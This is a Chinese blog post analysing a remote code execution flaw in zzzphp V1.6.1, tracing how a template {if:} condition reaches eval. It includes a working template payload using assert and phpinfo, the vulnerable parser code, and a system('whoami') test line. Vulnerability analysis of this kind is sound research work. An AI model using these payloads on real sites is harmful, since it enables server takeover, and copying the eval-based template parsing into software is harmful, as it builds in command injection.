zzzphp V1.6.1 远程代码执行漏洞分析
这是一个通过模板来进行命令执行的一个例子,第一次遇到,很有趣。
漏洞复现
本地搭建好环境,登录后台,找到模板管理–>模板管理:
然后找到cn2016/html/search.html(其实也就是网站下/zzzphp/template/pc/cn2016/html/search.html),将里面的代码修改或者添加:1
{if:assert($_request[phpinfo()])}phpinfo();{end if}
然后我们再访问 http://127.0.0.1/zzzphp/search/
看见phpinfo已经执行出来了,怎么出来的,能够怎么利用,目前还不知道,跟踪下源码吧。
漏洞分析
原来的search.html长这个样子。
首先我是跟踪到了search/index.php:
然后引用了 /inc/zzz_client.php ,跟踪下去
这里又引用了 zzz_template.php, 还不确定,先看一下。
这个文件里面有很多正则表达式,匹配了我们search.html中的{zzz:xxxx}
然后就一直往下看,在文件快结束的地方,找到了想要的代码。
有了eval函数,看来基本上就是这里了,接下来我们慢慢分析。
这里为了方便,写了一段测试代码,来看一下匹配之后的内容1
2
3
4
5
6<?php
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
preg_match_all( $pattern, $zcontent, $matches);
var_dump($matches)
?>
我们就晓得 $matches 变量的值了。
继续看代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr1 = cleft( $ifstr, 0, 1 );
switch ( $ifstr1 ) {
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=", "'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '===', '==', $ifstr );
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
$ifstr 变量的值为 $matches[ 1 ][ $i ],我们这里也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])
然后继续跟进,有一个cleft函数进行了处理,跟进:
这段代码的意思就是去除掉两边的空格之后,取出我们的第一个字符。
我们这里的 $ifstr 第一个字符 “{“ ,没啥用,最后就是:1
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
我们这里吧 $ifstr 的值带进去。1
@eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' );
然后本地运行一下:
居然执行了~~~
神奇。1
eval( 'if(system("whoami")){}else{}' );
看来里面是条件语句判断也行。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:zzzphp V1.6.1 远程代码执行漏洞分析
本文作者:sher10ck
发布时间:2019-08-04, 17:24:42
最后更新:2020-01-13, 13:05:21
原始链接:http://sherlocz.github.io/2019/08/04/zzzphp-V1-6-1-远程代码执行漏洞分析/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。